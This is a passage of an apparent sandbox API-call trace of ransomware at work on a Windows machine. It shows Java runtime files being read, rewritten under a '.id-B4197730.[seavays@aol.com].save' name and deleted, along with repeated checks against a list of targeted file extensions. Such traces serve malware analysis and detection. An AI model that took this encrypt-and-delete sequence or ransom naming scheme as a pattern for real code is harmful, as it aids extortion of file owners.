lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x27a, lpOverlapped=0x0) returned 1 [0161.125] WriteFile (in: hFile=0x3b4, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x280, lpOverlapped=0x0) returned 1 [0161.127] ReadFile (in: hFile=0x398, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.127] WriteFile (in: hFile=0x3b4, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xe2, lpOverlapped=0x0) returned 1 [0161.127] SetEndOfFile (hFile=0x3b4) returned 1 [0161.127] CloseHandle (hObject=0x3b4) returned 1 [0161.127] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.127] SetEndOfFile (hFile=0x398) returned 1 [0161.134] CloseHandle (hObject=0x398) returned 1 [0161.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0161.135] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 1 [0161.136] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0161.136] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0161.136] lstrlenW (lpString=".doc") returned 4 [0161.136] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0161.136] lstrlenW (lpString=".docx") returned 5 [0161.136] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0161.136] lstrlenW (lpString=".pdf") returned 4 [0161.136] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0161.136] lstrlenW (lpString=".xls") returned 4 [0161.136] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0161.136] lstrlenW (lpString=".xlsx") returned 5 [0161.136] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0161.136] lstrlenW (lpString=".ppt") returned 4 [0161.136] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0161.136] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0161.136] lstrlenW (lpString=".zip") returned 4 [0161.136] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0161.137] lstrlenW (lpString=".rar") returned 4 [0161.137] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0161.137] lstrlenW (lpString=".bz2") returned 4 [0161.137] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0161.137] lstrlenW (lpString=".7z") returned 3 [0161.137] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0161.137] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0161.137] lstrlenW (lpString=".dbf") returned 4 [0161.137] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0161.137] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0161.137] lstrlenW (lpString=".1cd") returned 4 [0161.137] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0161.137] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0161.137] lstrlenW (lpString=".jpg") returned 4 [0161.137] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0161.137] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0161.137] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0161.137] lstrlenW (lpString=".doc") returned 4 [0161.137] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0161.138] lstrlenW (lpString=".docx") returned 5 [0161.138] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0161.138] lstrlenW (lpString=".pdf") returned 4 [0161.138] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0161.138] lstrlenW (lpString=".xls") returned 4 [0161.138] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0161.138] lstrlenW (lpString=".xlsx") returned 5 [0161.138] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0161.138] lstrlenW (lpString=".ppt") returned 4 [0161.138] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0161.138] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0161.138] lstrlenW (lpString=".zip") returned 4 [0161.138] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0161.138] lstrlenW (lpString=".rar") returned 4 [0161.138] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0161.138] lstrlenW (lpString=".bz2") returned 4 [0161.138] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0161.138] lstrlenW (lpString=".7z") returned 3 [0161.138] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0161.138] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0161.138] lstrlenW (lpString=".dbf") returned 4 [0161.138] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0161.138] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0161.138] lstrlenW (lpString=".1cd") returned 4 [0161.138] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0161.139] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0161.139] lstrlenW (lpString=".jpg") returned 4 [0161.139] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0161.139] lstrcmpiW (lpString1=".pf", lpString2=".save") returned -1 [0161.139] lstrlenW (lpString="LINEAR_RGB.pf") returned 13 [0161.139] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0161.141] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=1044) returned 1 [0161.141] CloseHandle (hObject=0x398) returned 1 [0161.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 0x20 [0161.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0161.141] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0161.141] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.142] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.142] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.144] GetLastError () returned 0x0 [0161.144] ReadFile (in: hFile=0x398, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x414, lpOverlapped=0x0) returned 1 [0161.146] WriteFile (in: hFile=0x3b4, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x420, lpOverlapped=0x0) returned 1 [0161.148] ReadFile (in: hFile=0x398, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.148] WriteFile (in: hFile=0x3b4, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xee, lpOverlapped=0x0) returned 1 [0161.148] SetEndOfFile (hFile=0x3b4) returned 1 [0161.148] CloseHandle (hObject=0x3b4) returned 1 [0161.148] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.148] SetEndOfFile (hFile=0x398) returned 1 [0161.152] CloseHandle (hObject=0x398) returned 1 [0161.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0161.153] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 1 [0161.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0161.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0161.154] lstrlenW (lpString=".doc") returned 4 [0161.154] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0161.154] lstrlenW (lpString=".docx") returned 5 [0161.154] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0161.154] lstrlenW (lpString=".pdf") returned 4 [0161.154] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0161.154] lstrlenW (lpString=".xls") returned 4 [0161.154] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0161.154] lstrlenW (lpString=".xlsx") returned 5 [0161.154] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0161.154] lstrlenW (lpString=".ppt") returned 4 [0161.154] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0161.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0161.154] lstrlenW (lpString=".zip") returned 4 [0161.154] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0161.154] lstrlenW (lpString=".rar") returned 4 [0161.154] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0161.154] lstrlenW (lpString=".bz2") returned 4 [0161.154] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0161.154] lstrlenW (lpString=".7z") returned 3 [0161.154] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0161.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0161.155] lstrlenW (lpString=".dbf") returned 4 [0161.155] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0161.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0161.155] lstrlenW (lpString=".1cd") returned 4 [0161.155] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0161.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0161.155] lstrlenW (lpString=".jpg") returned 4 [0161.155] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0161.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0161.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0161.155] lstrlenW (lpString=".doc") returned 4 [0161.155] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0161.155] lstrlenW (lpString=".docx") returned 5 [0161.155] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0161.155] lstrlenW (lpString=".pdf") returned 4 [0161.155] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0161.155] lstrlenW (lpString=".xls") returned 4 [0161.155] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0161.155] lstrlenW (lpString=".xlsx") returned 5 [0161.155] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0161.155] lstrlenW (lpString=".ppt") returned 4 [0161.155] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0161.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0161.156] lstrlenW (lpString=".zip") returned 4 [0161.156] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0161.156] lstrlenW (lpString=".rar") returned 4 [0161.156] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0161.156] lstrlenW (lpString=".bz2") returned 4 [0161.156] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0161.156] lstrlenW (lpString=".7z") returned 3 [0161.156] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0161.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0161.156] lstrlenW (lpString=".dbf") returned 4 [0161.156] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0161.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0161.156] lstrlenW (lpString=".1cd") returned 4 [0161.156] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0161.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0161.156] lstrlenW (lpString=".jpg") returned 4 [0161.156] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0161.156] lstrcmpiW (lpString1=".pf", lpString2=".save") returned -1 [0161.156] lstrlenW (lpString="PYCC.pf") returned 7 [0161.156] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0161.157] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=274474) returned 1 [0161.157] CloseHandle (hObject=0x398) returned 1 [0161.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 0x20 [0161.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0161.158] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0161.158] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.158] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.158] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.159] GetLastError () returned 0x0 [0161.159] ReadFile (in: hFile=0x398, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x4302a, lpOverlapped=0x0) returned 1 [0161.539] WriteFile (in: hFile=0x3b4, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x43030, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x43030, lpOverlapped=0x0) returned 1 [0161.547] ReadFile (in: hFile=0x398, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.547] WriteFile (in: hFile=0x3b4, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xe2, lpOverlapped=0x0) returned 1 [0161.547] SetEndOfFile (hFile=0x3b4) returned 1 [0161.642] CloseHandle (hObject=0x3b4) returned 1 [0161.642] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.642] SetEndOfFile (hFile=0x398) returned 1 [0161.653] CloseHandle (hObject=0x398) returned 1 [0161.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0161.657] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 1 [0161.658] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0161.658] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0161.658] lstrlenW (lpString=".doc") returned 4 [0161.658] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1 [0161.658] lstrlenW (lpString=".docx") returned 5 [0161.658] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1 [0161.658] lstrlenW (lpString=".pdf") returned 4 [0161.658] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1 [0161.658] lstrlenW (lpString=".xls") returned 4 [0161.658] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1 [0161.658] lstrlenW (lpString=".xlsx") returned 5 [0161.658] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1 [0161.658] lstrlenW (lpString=".ppt") returned 4 [0161.658] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1 [0161.658] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0161.658] lstrlenW (lpString=".zip") returned 4 [0161.658] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1 [0161.658] lstrlenW (lpString=".rar") returned 4 [0161.658] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1 [0161.658] lstrlenW (lpString=".bz2") returned 4 [0161.658] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1 [0161.658] lstrlenW (lpString=".7z") returned 3 [0161.658] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0161.658] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0161.659] lstrlenW (lpString=".dbf") returned 4 [0161.659] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1 [0161.659] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0161.659] lstrlenW (lpString=".1cd") returned 4 [0161.659] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1 [0161.659] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0161.659] lstrlenW (lpString=".jpg") returned 4 [0161.659] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1 [0161.659] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0161.659] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0161.659] lstrlenW (lpString=".doc") returned 4 [0161.659] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1 [0161.659] lstrlenW (lpString=".docx") returned 5 [0161.659] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1 [0161.659] lstrlenW (lpString=".pdf") returned 4 [0161.659] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1 [0161.659] lstrlenW (lpString=".xls") returned 4 [0161.659] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1 [0161.659] lstrlenW (lpString=".xlsx") returned 5 [0161.659] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1 [0161.659] lstrlenW (lpString=".ppt") returned 4 [0161.659] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1 [0161.659] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0161.659] lstrlenW (lpString=".zip") returned 4 [0161.659] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1 [0161.660] lstrlenW (lpString=".rar") returned 4 [0161.660] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1 [0161.660] lstrlenW (lpString=".bz2") returned 4 [0161.660] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1 [0161.660] lstrlenW (lpString=".7z") returned 3 [0161.660] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0161.660] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0161.660] lstrlenW (lpString=".dbf") returned 4 [0161.660] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1 [0161.660] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0161.660] lstrlenW (lpString=".1cd") returned 4 [0161.660] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1 [0161.660] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0161.660] lstrlenW (lpString=".jpg") returned 4 [0161.660] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1 [0161.660] lstrcmpiW (lpString1=".data", lpString2=".save") returned -1 [0161.660] lstrlenW (lpString="currency.data") returned 13 [0161.660] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0161.661] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=4122) returned 1 [0161.661] CloseHandle (hObject=0x398) returned 1 [0161.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 0x20 [0161.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0161.662] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0161.662] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.662] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.662] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.663] GetLastError () returned 0x0 [0161.663] ReadFile (in: hFile=0x398, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x101a, lpOverlapped=0x0) returned 1 [0161.665] WriteFile (in: hFile=0x3b4, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x1020, lpOverlapped=0x0) returned 1 [0161.667] ReadFile (in: hFile=0x398, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.667] WriteFile (in: hFile=0x3b4, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xee, lpOverlapped=0x0) returned 1 [0161.667] SetEndOfFile (hFile=0x3b4) returned 1 [0161.667] CloseHandle 